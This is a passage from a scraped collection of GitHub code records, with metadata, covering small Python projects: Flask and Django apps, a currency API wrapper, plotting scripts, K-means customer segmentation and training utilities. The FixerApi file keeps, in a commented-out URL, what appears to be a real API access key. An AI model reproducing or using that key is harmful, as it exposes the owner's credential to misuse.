'title': \"Word\"\n }\n }\n }\n\n \n , {\n 'data': [\n Bar(\n x=df.genre.unique(),\n y=df.groupby('genre').message_len.mean()\n )\n ],\n\n 'layout': {\n 'title': 'How Many Characters in a Message?',\n 'yaxis': {\n 'title': \"Average number of characters\"\n },\n 'xaxis': {\n 'title': \"Genre\"\n }\n }\n }\n\n \n \n \n \n \n , {\n 'data': [\n Histogram( \n x=df['message_len']\n \n \n )\n ],\n\n 'layout': {\n 'title': 'Distribution of Number of Characters in a Message',\n 'yaxis': {\n 'title': \"Count\"\n \n },\n 'xaxis': {\n 'title': \"Number of characters in a message\",\n 'range': [0,500] \n \n },\n \n 'xbins': 10\n \n }\n }\n \n \n \n , {\n 'data': [\n Bar(\n x=df.genre.unique(),\n y=df.groupby('genre').word_count.mean()\n )\n ],\n\n 'layout': {\n 'title': 'How Many Words in a Message?',\n 'yaxis': {\n 'title': \"Average number of words\"\n },\n 'xaxis': {\n 'title': \"Genre\"\n }\n }\n }\n\n \n \n \n \n \n , {\n 'data': [\n Histogram( \n x=df['word_count'] \n \n )\n ],\n\n 'layout': {\n 'title': 'Distribution of Number of Words in a Message',\n 'yaxis': {\n 'title': \"Count\"\n \n },\n 'xaxis': {\n 'title': \"Number of words in a message\",\n 'range': [0,80] \n \n },\n \n 'xbins': 10\n \n }\n }\n\n \n \n \n \n \n ] \n\n # encode plotly graphs in JSON\n ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n \n # render web page with plotly graphs\n return render_template('master.html', ids=ids, graphJSON=graphJSON)\n\n\n# web page that handles user query and displays model results\n@app.route('/go')\ndef go():\n # save user input in query\n query = request.args.get('query', '') \n\n # use model to predict classification for query\n classification_labels = model.predict([query])[0]\n classification_results = dict(zip(df.columns[4:], classification_labels))\n\n # This will render the go.html Please see that file. \n return render_template(\n 'go.html',\n query=query,\n classification_result=classification_results\n )\n\n\ndef main():\n app.run(host='localhost', port=2020, debug=True)\n\n\nif __name__ == '__main__':\n main()", "repo_name": "RonghuiZhou/Disaster_Response_Pipeline", "sub_path": "app/run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 8033, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "nltk.download", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 21, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 35, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 38, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 39, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 39, "usage_type": "name"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.read_sql_table", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 58, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 77, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 85, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 85, "usage_type": "name"}, {"api_name": "string.punctuation", "line_number": 86, "usage_type": "attribute"}, {"api_name": "string.punctuation", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 103, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 103, "usage_type": "attribute"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 115, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 134, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 158, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 178, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Histogram", "line_number": 202, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Bar", "line_number": 230, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Histogram", "line_number": 254, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 286, "usage_type": "call"}, {"api_name": "plotly.utils", "line_number": 286, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 289, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 296, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 296, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 296, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 303, "usage_type": "call"}]} +{"seq_id": "42378988464", "text": "from django.contrib import admin\nfrom django.urls import path, re_path, include\n\nfrom study import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n #path('account/', include('django.contrib.auth.urls')),\n re_path(r'^$', views.home, name='home'),\n re_path(r'schedules', views.schedulePage, name='schedules'),\n re_path(r'sign in', views.signInPage, name='sign in'),\n re_path(r'login', views.login_view, name='login'),\n re_path(r'logout', views.logout_view, name='logout'),\n re_path(r'user details', views.userDetails_view, name='user details'),\n re_path(r'set goals', views.setGoals_view, name='set goals'),\n re_path(r'your goals', views.configGoals_view, name='your goals'),\n re_path(r'schedule_adding', views.schedule_adding, name='schedule_adding'),\n re_path(r'cool', views.configSchedules_view, name='cool'),\n re_path(r'Edit_Schedules', views.EditSchedules_view, name='Edit_Schedules'),\n re_path(r'carry_goals', views.carryGoals_view, name='carry_goals'),\n\n\n]\n", "repo_name": "ethan-burgo/studyApp", "sub_path": "studyApp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 9, "usage_type": "call"}, {"api_name": "study.views.home", "line_number": 9, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 10, "usage_type": "call"}, {"api_name": "study.views.schedulePage", "line_number": 10, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 11, "usage_type": "call"}, {"api_name": "study.views.signInPage", "line_number": 11, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 12, "usage_type": "call"}, {"api_name": "study.views.login_view", "line_number": 12, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 13, "usage_type": "call"}, {"api_name": "study.views.logout_view", "line_number": 13, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 14, "usage_type": "call"}, {"api_name": "study.views.userDetails_view", "line_number": 14, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 15, "usage_type": "call"}, {"api_name": "study.views.setGoals_view", "line_number": 15, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 16, "usage_type": "call"}, {"api_name": "study.views.configGoals_view", "line_number": 16, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 17, "usage_type": "call"}, {"api_name": "study.views.schedule_adding", "line_number": 17, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 18, "usage_type": "call"}, {"api_name": "study.views.configSchedules_view", "line_number": 18, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 19, "usage_type": "call"}, {"api_name": "study.views.EditSchedules_view", "line_number": 19, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.re_path", "line_number": 20, "usage_type": "call"}, {"api_name": "study.views.carryGoals_view", "line_number": 20, "usage_type": "attribute"}, {"api_name": "study.views", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "73095330498", "text": "import requests\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\n# base_url = 'http://data.fixer.io/api/latest?access_key=34e2df461e05e5871c51b4293d8a62c8'\n\n\nclass FixerApi:\n def __init__(self, base_url):\n self.base_url = base_url\n\n def get_all_exchange_rate_base_euro(self):\n try:\n data = requests.get(self.base_url)\n except Exception as e:\n logger.error(f'thew is an error happened in calling api {e}')\n else:\n return data.json()\n\n", "repo_name": "devmohamedwahba/Order-System", "sub_path": "utils/fixer.py", "file_name": "fixer.py", "file_ext": "py", "file_size_in_byte": 506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "7103676288", "text": "# %%\nimport pandas as pd\nimport numpy as np\nimport re\nfrom caussim.reports.utils import (\n read_logs\n)\nfrom matplotlib import pyplot as plt\nfrom matplotlib.lines import Line2D\n\nfrom caussim.reports.plots_utils import (\n CAUSAL_METRICS, METRIC_OF_INTEREST_LABELS, create_legend_for_candidates\n)\n\nfrom caussim.utils import *\nfrom caussim.config import *\n\nsns.set_style(\"whitegrid\")\n\npd.set_option(\"display.max_columns\", None)\n# %%\n# xp_name = \"\"acic_2016_save/2022-03-26-21-05-40_acic_scoring\" # stacked regressor and all candidates are hgb\nxp_name = \"acic_2016_ate_heterogeneity_save/2022-04-08-17-00-17_acic_2016_ate_heterogeneity\" # no nuisnaces and 6 candidates (ridge and hgb)\nxp_path = Path(DIR2EXPES / xp_name)\nrun_logs, simu_config = read_logs(xp_path)\n\noverlap_measure = \"dgp_d_normalized_tv\"\n# overlap_measure = \"test_d_normalized_tv\"\nrun_logs = run_logs.rename(\n columns={\"d_js\": \"test_d_js\"}\n)\n\nxp_savename = (\n re.search(\"\\d{4}-\\d{2}-\\d{2}-\\d{2}-\\d{2}-\\d{2}\", xp_name).group(0)\n + f\"__d_js={run_logs['test_d_js'].min().round(4)}_{run_logs['test_d_js'].max().round(4)}\"\n)\n\nrun_logs[\"r_risk_ipw_corrected\"] = run_logs[\"r_risk_ipw\"] + 2 * run_logs[\"r_risk\"]\nrun_logs[\"oracle_r_risk_ipw_corrected\"] = (\n run_logs[\"oracle_r_risk_ipw\"] + 2 * run_logs[\"oracle_r_risk\"]\n)\n\nCAUSAL_METRICS = [metric for metric in CAUSAL_METRICS if metric in run_logs.columns]\n\n\n# nuisance_models_label = get_nuisances_type(run_logs)\nmodel_keys = [\"simulation_param\", \"simulation_seed\", overlap_measure, \"rs_test_split\"]\nmodel_estimations = [\"ate\", \"bias_ate\", \"tau_risk\", \"r2\"]\nmodel_params = [\n \"cate_candidate_model\",\n \"meta_learner_name\",\n \"final_estimator__learning_rate\",\n # \"final_estimator__max_leaf_nodes\",\n \"final_estimator__alpha\",\n]\n# %%\nsimu_seed = 1\nmask_simu_seed = run_logs[\"simulation_seed\"] == simu_seed\nsimus_to_plots = run_logs.loc[\n mask_simu_seed, model_keys + model_params + model_estimations\n].sort_values(overlap_measure)\n\nsimus_to_plots[\"candidate_id\"] = simus_to_plots.apply(\n lambda x: f\"{x['cate_candidate_model']}__\"\n + \"__\".join([f\"{p}_{str(x[p])}\" for p in model_params[1:]]),\n axis=1,\n)\nsimus_to_plots[\"abs_bias_ate\"] = np.abs(simus_to_plots[\"bias_ate\"])\n# %%\ncandidates_family = np.sort(simus_to_plots[\"candidate_id\"].unique())\n# resort for better colors\ncolormap = [\n cm.tab20(1) ,\n cm.tab20(0) ,\n cm.tab20(2) ,\n cm.tab20(3) ,\n cm.tab20(4) ,\n cm.tab20(5) ,\n ]\n\n(handles, labels), candidates_colormap = create_legend_for_candidates(candidates_family, colormap=colormap)\nprint(labels)\n\n# %%\ncap_size = 10\nfig, ax = plt.subplots(1, 1, figsize = (14, 7))\nfor candidate in simus_to_plots[\"candidate_id\"].unique():\n candidate_data = simus_to_plots.loc[simus_to_plots[\"candidate_id\"] == candidate, :]\n #candidate_data[\"hat_ate\"] = candidate_data[\"bias_ate\"] + candidate_data[\"ate\"]\n sns.lineplot(\n ax=ax,\n data=candidate_data,\n x=overlap_measure,\n y=\"abs_bias_ate\",\n color=candidates_colormap[candidate],\n marker=\"o\",\n #ci=\"sd\",\n linestyle=\"\",\n err_style=\"bars\",\n err_kws={\"capsize\": cap_size},\n legend=False,\n )\nax.set_xlabel(METRIC_OF_INTEREST_LABELS[overlap_measure])\nlog_scale = True\nylabel = \"Absolute bias to the true ATE\"\nif log_scale:\n ax.set_yscale(\"log\")\n ylabel += \"\\n log scale\"\nax.set_ylabel(ylabel)\nax.annotate(xy=(-0.1,0.9), text=\"Worse\", fontsize=25, xycoords=\"axes fraction\", annotation_clip=False, color=\"red\")\nax.annotate(xy=(-0.1,0.1), text=\"Better\", fontsize=25, xycoords=\"axes fraction\", annotation_clip=False, color=\"green\")\n# # add true value of ATE\n\n# gold_ates = simus_to_plots.loc[\n# :, [\"simulation_param\", overlap_measure, \"ate\"]\n# ].drop_duplicates()\n# gold_ate_color = \"black\"\n# gold_ate_marker = \"o\"\n# sns.lineplot(\n# ax=ax,\n# data=gold_ates,\n# x=overlap_measure,\n# y=\"ate\",\n# color=gold_ate_color,\n# marker=gold_ate_marker,\n# #ci=\"sd\",\n# linestyle=\"\",\n# err_style=\"bars\",\n# err_kws={\"capsize\": cap_size},\n# legend=False,\n# )\n\n# ax.scatter(\n# x=gold_ates[overlap_measure],\n# y=gold_ates[\"ate\"],\n# c=gold_ate_color,\n# marker=gold_ate_marker,\n# s=50,\n# )\n# gold_ate_handme = Line2D(\n# [0],\n# [0],\n# color=gold_ate_color,\n# marker=gold_ate_marker,\n# markersize=12,\n# linestyle=\"none\",\n# )\n# gold_ate_label = \"True ATE\"\nplt.rc('legend',fontsize=20) # using a size in points\n#plt.add_artist(\nplt.legend(\n handles,#, gold_ate_handme],\n labels,#, gold_ate_label],\n bbox_to_anchor=(0, 1.05, 1, 0), loc=\"lower left\", mode=\"expand\",ncol=2,#(0.01, 1.01),\n title=\"Outcome models\",\n borderaxespad=0,\n prop={'size': 18}\n)\n\nfigname = f\"{xp_path.name}_abs_bias_ylog_scale={log_scale}\"\nfig.savefig(\n DIR2FIGURES\n / (figname + \".pdf\"),\n bbox_inches=\"tight\",\n )\nfig.savefig(\n DIR2PAPER_IMG\n / (figname + \".pdf\"),\n bbox_inches=\"tight\",\n )\n\n# %%\n", "repo_name": "soda-inria/caussim", "sub_path": "scripts/reports/plot_acic_2016_ate_variability.py", "file_name": "plot_acic_2016_ate_variability.py", "file_ext": "py", "file_size_in_byte": 5071, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.set_option", "line_number": 20, "usage_type": "call"}, {"api_name": "caussim.reports.utils.read_logs", "line_number": 25, "usage_type": "call"}, {"api_name": "re.search", "line_number": 34, "usage_type": "call"}, {"api_name": "caussim.reports.plots_utils.CAUSAL_METRICS", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 70, "usage_type": "call"}, {"api_name": "caussim.reports.plots_utils.create_legend_for_candidates", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "caussim.reports.plots_utils.METRIC_OF_INTEREST_LABELS", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}]} +{"seq_id": "6811138747", "text": "import json\n\nclass InputReader:\n\n def __init__(self, filename:str):\n self.input_file = filename\n self.__fp = open(self.input_file)\n self.data = {} \n\n def read(self):\n self.data = json.load(self.__fp)\n\n def get_row(self) -> tuple:\n \"\"\"Returns input one value at a time\n\n Returns\n -------\n row: tuple\n returns a tuple in the form of (link:str, keywords:tuple, case_sensitive:bool) \n \"\"\"\n for item in self.data:\n link = self.data[item]['link']\n keywords = tuple(self.data[item]['keywords'])\n case = self.data[item]['case_sensitive']\n row = (link, keywords, case)\n yield row\n\n\n \n\n \n \n \n ", "repo_name": "aquib-sh/doc-scanner", "sub_path": "reader.py", "file_name": "reader.py", "file_ext": "py", "file_size_in_byte": 747, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "json.load", "line_number": 11, "usage_type": "call"}]} +{"seq_id": "70422868445", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('login/', views.login, name='login'),\n path('register/', views.register, name='register'),\n path('logout/', views.logout, name='logout'),\n path('search/', views.search, name='search'),\n path('', views.index, name=\"index\"),\n path('detail//', views.video_detail, name=\"video_detail\"),\n path(r'pie/', views.ChartView.as_view(), name='pie'),\n path(r'bar/', views.ChartBarView.as_view(), name='bar'),\n path(r'line/', views.ChartLineView.as_view(), name='line'),\n path(r'video/', views.video, name='video'),\n\n]\n", "repo_name": "LearnerCharlesYim/video_search", "sub_path": "xiechengapp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 617, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "1668283862", "text": "import numpy as np # Importing the NumPy library for numerical computing\r\nimport pandas as pd # Importing the Pandas library for data manipulation and analysis\r\nimport matplotlib.pyplot as plt # Importing the Matplotlib library for creating plots and visualizations\r\nimport seaborn as sns # Importing the Seaborn library for statistical data visualization\r\nfrom sklearn.cluster import KMeans # Importing the KMeans class from scikit-learn for clustering\r\ncustomer_data=pd.read_csv('/content/Mall_Customers.csv') #Customer database that will be used for training and testing\r\ncustomer_data.head() # customer_data.head() is to quickly inspect the initial rows of the DataFrame and get a sense of the data structure and the values present in the columns. \r\ncustomer_data.shape # It allows you to quickly check the number of rows and columns in the DataFrame, which is essential for understanding the data and performing data manipulations and analyses.\r\ncustomer_data.info() #Gives you information regarding the dataset\r\ncustomer_data.isnull().sum() # The result of customer_data.isnull().sum() is a Series that shows the count of missing values in each column. Each column name is paired with the count of missing values in that column.\r\nX=customer_data.iloc[:,[3,4]].values ##Choosing the Annual Income Column and Spending Score Column\r\nprint(X)\r\n##WCSS-Within Clusters Sum of Squares is Calculated\r\n# Finding wcss value for different number of clusters\r\nwcss=[]\r\nfor i in range(1,11):\r\n kmeans=KMeans(n_clusters=i,init='k-means++',random_state=42)\r\n kmeans.fit(X)\r\n wcss.append(kmeans.inertia_)\r\n## Code for Elbow Point Graph to identify the minmum number of clusters that is required for the Kmeans clustering algorithm\r\nsns.set()# Set the default style of Seaborn plots\r\nplt.plot(range(1,11),wcss)# Create a line plot of the within-cluster sum of squares (WCSS) against the number of clusters\r\nplt.title(\"The Elbow Point Graph\")# Set the title of the plot\r\nplt.xlabel(\"Number of Clusters\")# Set the label for the x-axis\r\nplt.ylabel(\"WCSS\")# Set the label for the y-axis\r\nplt.show()# Display the plot\r\n\"\"\"\r\nThe elbow point graph is plotted to determine the optimal number of clusters in a K-means clustering algorithm. Here's why it is useful:\r\n\r\nIn K-means clustering, the goal is to partition a dataset into a specified number of clusters (K) based on the similarity of data points. However, determining the appropriate value of K is not always straightforward. The elbow point graph helps in finding an optimal value for K.\r\n\r\nThe graph is created by plotting the within-cluster sum of squares (WCSS) against the number of clusters. WCSS is a measure of the variability or dispersion of data points within each cluster. It quantifies how close the data points are to their respective cluster centroids.\r\n\r\nThe idea behind the elbow point graph is to identify a point where adding more clusters does not significantly improve the clustering quality. The plot usually forms a downward curve, resembling an elbow. The \"elbow point\" on the graph represents the value of K where the rate of decrease in WCSS starts to level off. This indicates a diminishing return in performance improvement by adding more clusters.\r\n\r\nThe elbow point is considered as a reasonable choice for the number of clusters since it balances the trade-off between model complexity (more clusters) and the goodness of fit (lower WCSS). It helps avoid overfitting or underfitting the data by selecting an appropriate level of clustering.\r\n\r\nBy analyzing the elbow point graph, one can make an informed decision on the optimal number of clusters to use in the K-means clustering algorithm.\r\n\"\"\"\"\"\r\n### Code for KMEANS Clustering Algorithm\r\nkmeans=KMeans(n_clusters=5,init='k-means++',random_state=0) ## 5 clusters are formed for kmeans algorithm\r\n\r\nY=kmeans.fit_predict(X)\r\n\r\nprint(Y)\r\n##Plotting the graph of results of KMeans clustering Algorithm that segregates the customers into different groupsW\r\n#Plotting all the clusters and their Centroids\r\n\r\nplt.figure(figsize=(8,8))\r\nplt.scatter(X[Y==0,0],X[Y==0,1],s=50,c='green',label='Cluster 1')\r\nplt.scatter(X[Y==1,0],X[Y==1,1],s=50,c='red',label='Cluster 2')\r\nplt.scatter(X[Y==2,0],X[Y==2,1],s=50,c='yellow',label='Cluster 3')\r\nplt.scatter(X[Y==3,0],X[Y==3,1],s=50,c='violet',label='Cluster 4')\r\nplt.scatter(X[Y==4,0],X[Y==4,1],s=50,c='blue',label='Cluster 5')\r\n#Plot the centroids\r\nplt.scatter(kmeans.cluster_centers_[:,0],kmeans.cluster_centers_[:,1],s=100,c='cyan',label='Centroids')\r\nplt.title('Customer Groups')\r\nplt.xlabel('Annual Income')\r\nplt.ylabel('Spending Score')\r\nplt.show()", "repo_name": "akashdasinn89/Customer-Segreation-using-KMeans-Algorithm", "sub_path": "Customer Segregation using KMeans Algorithm.py", "file_name": "Customer Segregation using KMeans Algorithm.py", "file_ext": "py", "file_size_in_byte": 4614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 17, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}]} +{"seq_id": "26872585599", "text": "from pathlib import Path\nimport PySimpleGUI as sg\n\ndef popup_text(filename, text, count):\n layout = [\n [sg.Multiline(text, size=(80, 25)),\n sg.Text(count)\n ]\n ]\n win = sg.Window(filename, layout, modal=True, finalize=True)\n while True:\n event, values = win.read()\n if event == sg.WINDOW_CLOSED:\n break\n win.close()\n\nsg.set_options(font=(\"Microsoft JhengHei\", 16))\n\nlayout = [\n [\n sg.Input(key='-INPUT-'),\n sg.FileBrowse(file_types=((\"TXT Files\", \"*.txt\"), (\"ALL Files\", \"*.*\"))),\n sg.Button(\"Open\"),\n ]\n]\n\nwindow = sg.Window('Home', layout)\nwhile True:\n # với sự kiện event là Open và values chính là đường dẫn vừa chọn\n event, values = window.read()\n if event == sg.WINDOW_CLOSED:\n break\n elif event == 'Open':\n # filename chính là đường dẫn đã chọn\n filename = values['-INPUT-']\n # Nếu như file tồn tại\n if Path(filename).is_file():\n try:\n # Đọc file\n with open(filename, \"rt\", encoding='utf-8') as f:\n text = f.read()\n line = text.split(\" \")\n count = str(len(line)) + \" từ\"\n popup_text(filename, text, count)\n except Exception as e:\n print(\"Error: \", e)\n\nwindow.close()", "repo_name": "HoangNamBN/Python", "sub_path": "homework/PySimpleGUI/readfile2.py", "file_name": "readfile2.py", "file_ext": "py", "file_size_in_byte": 1392, "program_lang": "python", "lang": "vi", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "PySimpleGUI.Multiline", "line_number": 6, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 7, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 10, "usage_type": "call"}, {"api_name": "PySimpleGUI.WINDOW_CLOSED", "line_number": 13, "usage_type": "attribute"}, {"api_name": "PySimpleGUI.set_options", "line_number": 17, "usage_type": "call"}, {"api_name": "PySimpleGUI.Input", "line_number": 21, "usage_type": "call"}, {"api_name": "PySimpleGUI.FileBrowse", "line_number": 22, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 23, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 27, "usage_type": "call"}, {"api_name": "PySimpleGUI.WINDOW_CLOSED", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 37, "usage_type": "call"}]} +{"seq_id": "13815032480", "text": "import itertools\nimport os\nimport shutil\nimport matplotlib.pyplot as plt\nimport torch\nimport yaml\nimport numpy as np\n\ndef save_checkpoint(state, is_best, filename='checkpoint.pth.tar'):\n torch.save(state, filename)\n if is_best:\n shutil.copyfile(filename, 'model_best.pth.tar')\n\n\ndef save_config_file(model_checkpoints_folder, args):\n if not os.path.exists(model_checkpoints_folder):\n os.makedirs(model_checkpoints_folder)\n with open(os.path.join(model_checkpoints_folder, 'config.yml'), 'w') as outfile:\n yaml.dump(args, outfile, default_flow_style=False)\n\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the accuracy over the k top predictions for the specified values of k\"\"\"\n with torch.no_grad():\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].reshape(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\ndef plot_confusion_matrix(cm, class_names):\n \"\"\"\n Returns a matplotlib figure containing the plotted confusion matrix.\n\n Args:\n cm (array, shape = [n, n]): a confusion matrix of integer classes\n class_names (array, shape = [n]): String names of the integer classes\n \"\"\"\n print(cm)\n figure = plt.figure(figsize=(8, 8))\n plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Oranges)\n plt.title(\"Confusion matrix\")\n plt.colorbar()\n tick_marks = np.arange(len(class_names))\n plt.xticks(tick_marks, class_names, rotation=45)\n plt.yticks(tick_marks, class_names)\n\n # Use white text if squares are 